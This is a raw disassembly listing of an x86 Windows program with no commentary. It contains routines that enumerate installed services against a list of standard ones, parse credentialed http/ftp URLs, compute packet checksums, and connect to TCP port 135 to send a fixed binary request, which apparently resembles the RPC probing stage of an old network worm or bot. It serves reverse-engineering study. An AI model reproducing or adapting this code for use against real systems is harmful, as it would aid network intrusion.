		lea	ecx, [esp+74h+var_54]
		mov	[esp+74h+arg_10D0], 0FFFFFFFFh
		call	sub_401A82


loc_4207C6:				; CODE XREF: sub_420630+136j
		push	esi
		nop
		call	near ptr 2840881h


loc_4207CD:				; CODE XREF: sub_420630+11Fj
		mov	eax, [esp+78h+var_68]
		add	edi, 4
		dec	eax
		mov	[esp+78h+var_68], eax
		jnz	loc_42073F
		pop	ebp
		pop	ebx


loc_4207E1:				; CODE XREF: sub_420630+EFj
		pop	edi
		mov	al, 1
		pop	esi
		mov	ecx, [esp+68h+arg_10C4]
		mov	large fs:0, ecx
		add	esp, 113Ch
		retn
; ---------------------------------------------------------------------------


loc_4207FA:				; CODE XREF: sub_420630+46j
					; sub_420630+8Cj ...
		mov	ecx, [esp+18h+arg_1118]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 113Ch
		retn
sub_420630	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4208A0	proc near		; CODE XREF: sub_401875j
		push	esi
		mov	esi, ecx
		call	sub_40142E
		mov	eax, esi
		pop	esi
		retn
sub_4208A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4208C0	proc near		; CODE XREF: sub_401A82j
		jmp	sub_401226
sub_4208C0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4208E0	proc near		; CODE XREF: sub_402162j

var_518		= byte ptr -518h
var_514		= dword	ptr -514h
var_510		= dword	ptr -510h
var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_4F8		= byte ptr -4F8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4DC		= dword	ptr -4DCh
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4CC		= dword	ptr -4CCh
var_4C8		= dword	ptr -4C8h
var_4C4		= dword	ptr -4C4h
var_4C0		= dword	ptr -4C0h
var_4BC		= dword	ptr -4BCh
var_4B8		= dword	ptr -4B8h
var_4B4		= dword	ptr -4B4h
var_4B0		= dword	ptr -4B0h
var_4AC		= dword	ptr -4ACh
var_4A8		= dword	ptr -4A8h
var_4A4		= dword	ptr -4A4h
var_4A0		= dword	ptr -4A0h
var_49C		= dword	ptr -49Ch
var_498		= dword	ptr -498h
var_494		= dword	ptr -494h
var_490		= dword	ptr -490h
var_48C		= dword	ptr -48Ch
var_488		= dword	ptr -488h
var_484		= dword	ptr -484h
var_480		= dword	ptr -480h
var_47C		= dword	ptr -47Ch
var_478		= dword	ptr -478h
var_474		= dword	ptr -474h
var_470		= dword	ptr -470h
var_46C		= dword	ptr -46Ch
var_468		= dword	ptr -468h
var_464		= dword	ptr -464h
var_460		= dword	ptr -460h
var_45C		= dword	ptr -45Ch
var_458		= dword	ptr -458h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_44C		= dword	ptr -44Ch
var_448		= dword	ptr -448h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_43C		= dword	ptr -43Ch
var_438		= dword	ptr -438h
var_430		= byte ptr -430h
var_41C		= byte ptr -41Ch
var_408		= byte ptr -408h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4208E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 50Ch
		push	ebx
		push	ebp
		xor	ebx, ebx
		push	80000000h
		push	ebx
		push	ebx
		nop
		call	near ptr 29107F9h
		mov	ebp, eax
		cmp	ebp, ebx
		mov	[esp+520h+var_500], ebp
		jnz	short loc_42092F
		pop	ebp
		xor	al, al
		pop	ebx
		mov	ecx, [esp+518h+var_C]
		mov	large fs:0, ecx
		add	esp, 518h
		retn
; ---------------------------------------------------------------------------


loc_42092F:				; CODE XREF: sub_4208E0+34j
		push	esi
		push	edi
		lea	ecx, [esp+528h+var_4FC]
		mov	[esp+528h+var_4E4], offset aAudiosrv ; "AudioSrv"
		mov	[esp+528h+var_4E0], offset aBrowser ; "Browser"
		mov	[esp+528h+var_4DC], offset aCryptsvc ; "CryptSvc"
		mov	[esp+528h+var_4D8], offset aDhcp ; "Dhcp"
		mov	[esp+528h+var_4D4], offset aDmserver ; "dmserver"
		mov	[esp+528h+var_4D0], offset aDnscache ; "Dnscache"
		mov	[esp+528h+var_4CC], offset aErsvc ; "ERSvc"
		mov	[esp+528h+var_4C8], offset aEventlog ; "Eventlog"
		mov	[esp+528h+var_4C4], offset aEventsystem	; "EventSystem"
		mov	[esp+528h+var_4C0], offset aFastuserswitch ; "FastUserSwitchingCompatibility"
		mov	[esp+528h+var_4BC], offset aHelpsvc ; "helpsvc"
		mov	[esp+528h+var_4B8], offset aLanmanserver ; "lanmanserver"
		mov	[esp+528h+var_4B4], offset aLanmanworkstat ; "lanmanworkstation"
		mov	[esp+528h+var_4B0], offset aLmhosts ; "LmHosts"
		mov	[esp+528h+var_4AC], offset off_445324
		mov	[esp+528h+var_4A8], offset aMessenger ;	"Messenger"
		mov	[esp+528h+var_4A4], offset aNetman ; "Netman"
		mov	[esp+528h+var_4A0], offset off_44530C
		mov	[esp+528h+var_49C], offset aPlugplay ; "PlugPlay"
		mov	[esp+528h+var_498], offset aPolicyagent	; "PolicyAgent"
		mov	[esp+528h+var_494], offset aProtectedstora ; "ProtectedStorage"
		mov	[esp+528h+var_490], offset aRasman ; "RasMan"
		mov	[esp+528h+var_48C], offset aRpcss ; "RpcSs"
		mov	[esp+528h+var_488], offset aSamss ; "SamSs"
		mov	[esp+528h+var_484], offset aSchedule ; "Schedule"
		mov	[esp+528h+var_480], offset aSeclogon ; "seclogon"
		mov	[esp+528h+var_47C], offset aSens ; "SENS"
		mov	[esp+528h+var_478], offset aShellhwdetecti ; "ShellHWDetection"
		mov	[esp+528h+var_474], offset aSpooler ; "Spooler"
		mov	[esp+528h+var_470], offset aSsdpsrv ; "SSDPSRV"
		mov	[esp+528h+var_46C], offset aStisvc ; "stisvc"
		mov	[esp+528h+var_468], offset aTapisrv ; "TapiSrv"
		mov	[esp+528h+var_464], offset aTermservice	; "TermService"
		mov	[esp+528h+var_460], offset aTrkwks ; "TrkWks"
		mov	[esp+528h+var_45C], offset aUploadmgr ;	"uploadmgr"
		mov	[esp+528h+var_458], offset aUpnphost ; "upnphost"
		mov	[esp+528h+var_454], offset aW32time ; "W32Time"
		mov	[esp+528h+var_450], offset aWebclient ;	"WebClient"
		mov	[esp+528h+var_44C], offset aWinmgmt ; "winmgmt"
		mov	[esp+528h+var_448], offset aWzcsvc ; "WZCSVC"
		mov	[esp+528h+var_444], offset aWuauserv ; "wuauserv"
		mov	[esp+528h+var_440], offset aSrservice ;	"srservice"
		mov	[esp+528h+var_43C], offset aThemes ; "Themes"
		mov	[esp+528h+var_438], ebx
		mov	[esp+528h+var_510], ebx
		call	sub_40142E
		lea	eax, [esp+528h+var_510]
		lea	ecx, [esp+528h+var_514]
		mov	esi, dword_511718
		push	eax
		lea	edx, [esp+52Ch+var_518]
		push	ecx
		push	edx
		lea	eax, [esp+534h+var_41C]
		push	ebx
		push	eax
		push	1
		push	30h
		push	ebp
		mov	[esp+548h+var_4], ebx
		mov	[esp+548h+var_50C], ebx
		mov	[esp+548h+var_504], 80h
		call	esi
		mov	ecx, [esp+524h+var_514]
		push	ecx
		call	near ptr 77C2C407h
		nop
		add	esp, 4
		mov	edi, eax
		lea	edx, [esp+524h+var_50C]
		lea	eax, [esp+524h+var_510]
		push	edx
		mov	edx, [esp+528h+var_514]
		lea	ecx, [esp+528h+var_514]
		push	eax
		push	ecx
		push	edx
		push	edi
		push	1
		push	30h
		push	ebp
		call	esi
		mov	eax, [esp+524h+var_510]
		mov	[esp+524h+var_504], ebx
		cmp	eax, ebx
		jbe	loc_420C8F
		mov	ebp, dword_511764


loc_420B6B:				; CODE XREF: sub_4208E0+3A5j
		mov	eax, offset aAudiosrv ;	"AudioSrv"
		test	eax, eax
		jz	short loc_420B97
		lea	esi, [esp+524h+var_4E0]


loc_420B78:				; CODE XREF: sub_4208E0+2B5j
		mov	ecx, [edi]
		push	ecx
		push	eax
		nop
		call	near ptr 77C4624Eh
		add	esp, 8
		test	eax, eax
		jz	loc_420C73
		mov	eax, [esi+4]
		add	esi, 4
		cmp	eax, ebx
		jnz	short loc_420B78


loc_420B97:				; CODE XREF: sub_4208E0+292j
		mov	edx, [edi]
		lea	eax, [esp+524h+var_4F8]
		push	edx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+524h+var_508]
		push	ecx
		push	20019h
		push	ebx
		lea	ecx, [esp+530h+var_4F8]
		call	sub_40168B
		push	eax
		push	80000002h
		call	ebp
		cmp	eax, ebx
		jz	short loc_420BE3
		mov	edx, [edi]
		lea	eax, [esp+524h+var_4F8]
		push	edx
		push	offset aS????_exeUnkno ; "[%s] [????.exe] (Unknown key)"
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		jmp	short loc_420C3A
; ---------------------------------------------------------------------------


loc_420BE3:				; CODE XREF: sub_4208E0+2EAj
		mov	eax, [esp+524h+var_508]
		lea	ecx, [esp+524h+var_500]
		lea	edx, [esp+524h+var_408]
		push	ecx
		push	edx
		push	ebx
		push	ebx
		push	offset aImagepath ; "ImagePath"
		push	eax
		call	near ptr 28F0000h
		nop
		cmp	eax, ebx
		jz	short loc_420C1D
		mov	ecx, [edi]
		lea	edx, [esp+524h+var_4F8]
		push	ecx
		push	offset aS????_exe ; "[%s] [????.exe]"
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		jmp	short loc_420C3A
; ---------------------------------------------------------------------------


loc_420C1D:				; CODE XREF: sub_4208E0+324j
		mov	ecx, [edi]
		lea	eax, [esp+524h+var_408]
		push	eax
		push	ecx
		lea	edx, [esp+52Ch+var_4F8]
		push	offset aSS	; "[%s]	[%s]"
		push	edx
		call	sub_40102D
		add	esp, 10h


loc_420C3A:				; CODE XREF: sub_4208E0+301j
					; sub_4208E0+33Bj
		lea	eax, [esp+524h+var_4F8]
		lea	ecx, [esp+524h+var_430]
		push	eax
		call	sub_4014D3
		mov	ecx, [esp+524h+arg_4]
		push	eax
		mov	byte ptr [esp+528h], 1
		call	sub_401325
; ---------------------------------------------------------------------------
		lea	ecx, [esp+524h+var_430]
		mov	[esp+524h], bl
		call	sub_401226


loc_420C73:				; CODE XREF: sub_4208E0+2A7j
		mov	eax, [esp+524h+var_504]
		mov	ecx, [esp+524h+var_510]
		inc	eax
		add	edi, 24h
		cmp	eax, ecx
		mov	[esp+524h+var_504], eax
		jb	loc_420B6B
		mov	ebp, [esp+524h+var_4FC]


loc_420C8F:				; CODE XREF: sub_4208E0+27Fj
		push	ebp
		nop
		call	near ptr 2920000h
		lea	ecx, [esp+528h+var_4FC]
		mov	[esp+528h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+528h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 518h
		retn
sub_4208E0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420DD0	proc near		; CODE XREF: sub_4015F5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		push	esi
		push	0
		nop
		call	near ptr 288196Fh
		push	eax
		nop
		call	near ptr 2881019h
		mov	eax, esi
		pop	esi
		retn
sub_420DD0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420E00	proc near		; CODE XREF: sub_401A37j

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	[ebp+var_4], 0
		mov	[ebp+arg_4], eax
		femms
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		mov	ebx, [ebp+var_4]
		cmp	ecx, 2
		js	short loc_420E39


loc_420E22:				; CODE XREF: sub_420E00+32j
		xor	eax, eax
		mov	ax, [edx]
		add	ebx, eax
		sub	ecx, 2
		add	edx, 2
		cmp	ecx, 1
		jg	short loc_420E22
		cmp	ecx, 0
		jz	short loc_420E4A


loc_420E39:				; CODE XREF: sub_420E00+20j
					; sub_420E00+48j
		xor	eax, eax
		mov	al, [edx]
		add	ebx, eax
		sub	ecx, 1
		add	edx, 1
		cmp	ecx, 0
		jg	short loc_420E39


loc_420E4A:				; CODE XREF: sub_420E00+37j
		mov	[ebp+var_4], ebx
		mov	eax, [ebp+var_4]
		shr	eax, 10h
		mov	ebx, [ebp+var_4]
		and	ebx, 0FFFFh
		add	eax, ebx
		mov	ebx, eax
		shr	ebx, 10h
		add	eax, ebx
		mov	[ebp+var_4], eax
		femms
		mov	eax, [ebp+var_4]
		pop	ebx
		not	eax
		mov	esp, ebp
		pop	ebp
		retn
sub_420E00	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_420EA0:				; CODE XREF: ___:00401019j
		mov	eax, [esp+4]
		mov	dword_50DB34, eax
		mov	eax, offset dword_50DB34
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_420EC0:				; CODE XREF: ___:0040177Bj
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+10h]
		push	edi
		mov	edi, dword_511AAC
		push	esi
		call	edi	; ftell
		mov	ebp, dword_511AA4
		push	2
		push	0
		push	esi
		mov	ebx, eax
		call	ebp	; fseek
		push	esi
		call	edi	; ftell
		push	0
		push	ebx
		push	esi
		mov	edi, eax
		call	ebp	; fseek
		add	esp, 20h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420F10	proc near		; CODE XREF: sub_401947j

var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_420F10
		push	eax
		mov	large fs:0, esp
		sub	esp, 78h
		push	ebx
		push	esi
		mov	esi, [esp+8Ch+arg_0]
		xor	ebx, ebx
		cmp	esi, ebx
		push	edi
		jnz	short loc_420F3F
		xor	al, al
		jmp	loc_421519
; ---------------------------------------------------------------------------


loc_420F3F:				; CODE XREF: sub_420F10+26j
		lea	ecx, [esp+90h+var_84]
		call	sub_40142E
		push	esi
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], ebx
		call	sub_4015E1
		push	offset asc_444C7C ; ":"
		lea	eax, [esp+94h+var_54]
		push	ebx
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		mov	esi, [esp+90h+arg_4]
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+94h+var_4], 1
		call	sub_401FDC
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jz	short loc_420FCF
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jz	short loc_420FCF
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421519
; ---------------------------------------------------------------------------


loc_420FCF:				; CODE XREF: sub_420F10+92j
					; sub_420F10+A2j
		push	offset asc_4453F8 ; "/"
		lea	ecx, [esp+94h+var_54]
		push	1
		push	ecx
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		push	40h
		mov	ecx, eax
		mov	byte ptr [esp+94h+var_4], 2
		call	sub_401D34
		lea	ecx, [esp+90h+var_54]
		mov	edi, eax
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		push	offset asc_4453F8 ; "/"
		push	1
		jz	loc_42130C
		lea	edx, [esp+98h+var_24]
		lea	ecx, [esp+98h+var_84]
		push	edx
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+94h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 3
		call	sub_4016B8
		push	offset asc_444C7C ; ":"
		lea	edx, [esp+94h+var_54]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 4
		call	sub_4016B8
		lea	edi, [esi+15h]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 5
		call	sub_401FDC
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_448F40
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4210C9
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421519
; ---------------------------------------------------------------------------


loc_4210C9:				; CODE XREF: sub_420F10+19Cj
		push	offset asc_4453F8 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+94h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 6
		call	sub_4016B8
		push	offset asc_444C7C ; ":"
		lea	edx, [esp+94h+var_24]
		push	1
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 7
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+90h+var_4], 8
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+90h+var_24]
		mov	[esi+54h], eax
		mov	byte ptr [esp+90h+var_4], 7
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	[esi+54h], ebx
		jnz	short loc_421195
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42117E
		mov	dword ptr [esi+54h], 50h


loc_42117E:				; CODE XREF: sub_420F10+265j
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421195
		mov	dword ptr [esi+54h], 15h


loc_421195:				; CODE XREF: sub_420F10+255j
					; sub_420F10+27Cj
		push	offset asc_4453F8 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+94h+var_3C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 9
		call	sub_4016B8
		push	offset asc_444C7C ; ":"
		lea	edx, [esp+94h+var_24]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Ah
		call	sub_4016B8
		lea	edi, [esi+2Ah]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 0Bh
		call	sub_401FDC
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Ah
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_448F40
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42124E
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421519
; ---------------------------------------------------------------------------


loc_42124E:				; CODE XREF: sub_420F10+321j
		push	offset asc_4453F8 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+94h+var_3C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Ch
		call	sub_4016B8
		push	offset asc_444C7C ; ":"
		lea	edx, [esp+94h+var_24]
		push	1
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Dh
		call	sub_4016B8
		lea	edi, [esi+3Fh]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 0Eh
		call	sub_401FDC
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Dh
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 0Ch
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_448F40
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_421433
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421519
; ---------------------------------------------------------------------------


loc_42130C:				; CODE XREF: sub_420F10+100j
		lea	eax, [esp+98h+var_3C]
		lea	ecx, [esp+98h+var_84]
		push	eax
		call	sub_4016B8
		push	offset asc_444C7C ; ":"
		lea	ecx, [esp+94h+var_24]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Fh
		call	sub_4016B8
		lea	edi, [esi+15h]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 10h
		call	sub_401FDC
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Fh
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_448F40
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421393
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421519
; ---------------------------------------------------------------------------


loc_421393:				; CODE XREF: sub_420F10+466j
		push	offset asc_4453F8 ; "/"
		lea	edx, [esp+94h+var_3C]
		push	1
		push	edx
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		push	offset asc_444C7C ; ":"
		lea	ecx, [esp+94h+var_24]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 11h
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+90h+var_4], 12h
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+90h+var_24]
		mov	[esi+54h], eax
		mov	byte ptr [esp+90h+var_4], 11h
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	[esi+54h], ebx
		jnz	short loc_421433
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42141C
		mov	dword ptr [esi+54h], 50h


loc_42141C:				; CODE XREF: sub_420F10+503j
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421433
		mov	dword ptr [esi+54h], 15h


loc_421433:				; CODE XREF: sub_420F10+3DBj
					; sub_420F10+4F3j ...
		push	offset asc_4453F8 ; "/"
		lea	ecx, [esp+94h+var_84]
		call	sub_4013ED
		lea	edx, [esp+90h+var_6C]
		push	eax
		push	edx
		lea	ecx, [esp+98h+var_84]
		call	sub_401E47
		push	offset asc_4453F8 ; "/"
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 13h
		call	sub_4013ED
		push	eax
		lea	eax, [esp+94h+var_24]
		push	eax
		lea	ecx, [esp+98h+var_6C]
		call	sub_401E47
		push	eax
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 14h
		call	sub_40202C
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 13h
		call	sub_401226
		push	offset asc_4453F8 ; "/"
		lea	ecx, [esp+94h+var_6C]
		call	sub_4013ED
		lea	ecx, [esp+90h+var_24]
		push	eax
		push	ecx
		lea	ecx, [esp+98h+var_6C]
		call	sub_401E47
		push	eax
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 15h
		call	sub_40202C
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 13h
		call	sub_401226
		add	esi, 58h
		push	offset asc_4453F8 ; "/"
		mov	ecx, esi
		call	sub_4015E1
		lea	edx, [esp+90h+var_6C]
		mov	ecx, esi
		push	edx
		call	sub_4016C7
		lea	ecx, [esp+90h+var_6C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1


loc_421519:				; CODE XREF: sub_420F10+2Aj
					; sub_420F10+BAj ...
		mov	ecx, [esp+90h+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 84h
		retn
sub_420F10	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 190h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4216D0	proc near		; CODE XREF: sub_401AFFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	edx, [esp+arg_4]
		push	ebx
		mov	ebx, [esp+4+arg_C]
		push	ebp
		sub	edx, ebx
		xor	eax, eax
		push	esi
		push	edi
		test	edx, edx
		jle	short loc_4216FB


loc_4216E4:				; CODE XREF: sub_4216D0+29j
		mov	esi, [esp+10h+arg_0]
		mov	edi, [esp+10h+arg_8]
		add	esi, eax
		mov	ecx, ebx
		xor	ebp, ebp
		repe cmpsb
		jz	short loc_421702
		inc	eax
		cmp	eax, edx
		jl	short loc_4216E4


loc_4216FB:				; CODE XREF: sub_4216D0+12j
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_421702:				; CODE XREF: sub_4216D0+24j
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
sub_4216D0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_421720:				; CODE XREF: ___:004020B8j
		mov	eax, 2010h
		call	sub_437B30
		mov	eax, [esp+2018h]
		push	ebp
		push	esi
		dec	eax
		push	edi
		jz	short loc_42176D
		dec	eax
		jz	short loc_421747
		dec	eax
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_421747:				; CODE XREF: ___:00421738j
		mov	eax, [esp+2020h]
		push	1388h
		push	eax
		call	sub_402022
		add	esp, 8
		neg	al
		sbb	eax, eax
		pop	edi
		pop	esi
		and	eax, 3
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_42176D:				; CODE XREF: ___:00421735j
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_4218C9
		cmp	esi, 0FFFFFFFFh
		jz	loc_4218C9
		xor	ecx, ecx
		push	87h
		mov	[esp+10h], ecx
		mov	word ptr [esp+10h], 2
		mov	[esp+14h], ecx
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		nop
		call	near ptr 71AB2B66h
		mov	edx, [esp+2020h]
		mov	[esp+0Eh], ax
		push	edx
		call	sub_40188E
		add	esp, 4
		mov	[esp+10h], eax
		lea	eax, [esp+0Ch]
		push	10h
		push	eax
		push	esi
		call	near ptr 71AB406Ah
		nop
		cmp	eax, 0FFFFFFFFh
		jz	loc_4218C2
		mov	ebp, dword_511CA0
		push	0
		push	48h
		push	offset dword_444DC0
		push	esi
		call	ebp	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_4218C2
		mov	edi, dword_511CA4
		push	0
		lea	ecx, [esp+20h]
		push	2000h
		push	ecx
		push	esi
		call	edi	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_4218C2
		cmp	byte ptr [esp+1Eh], 0Ch
		jnz	loc_4218C2
		push	0
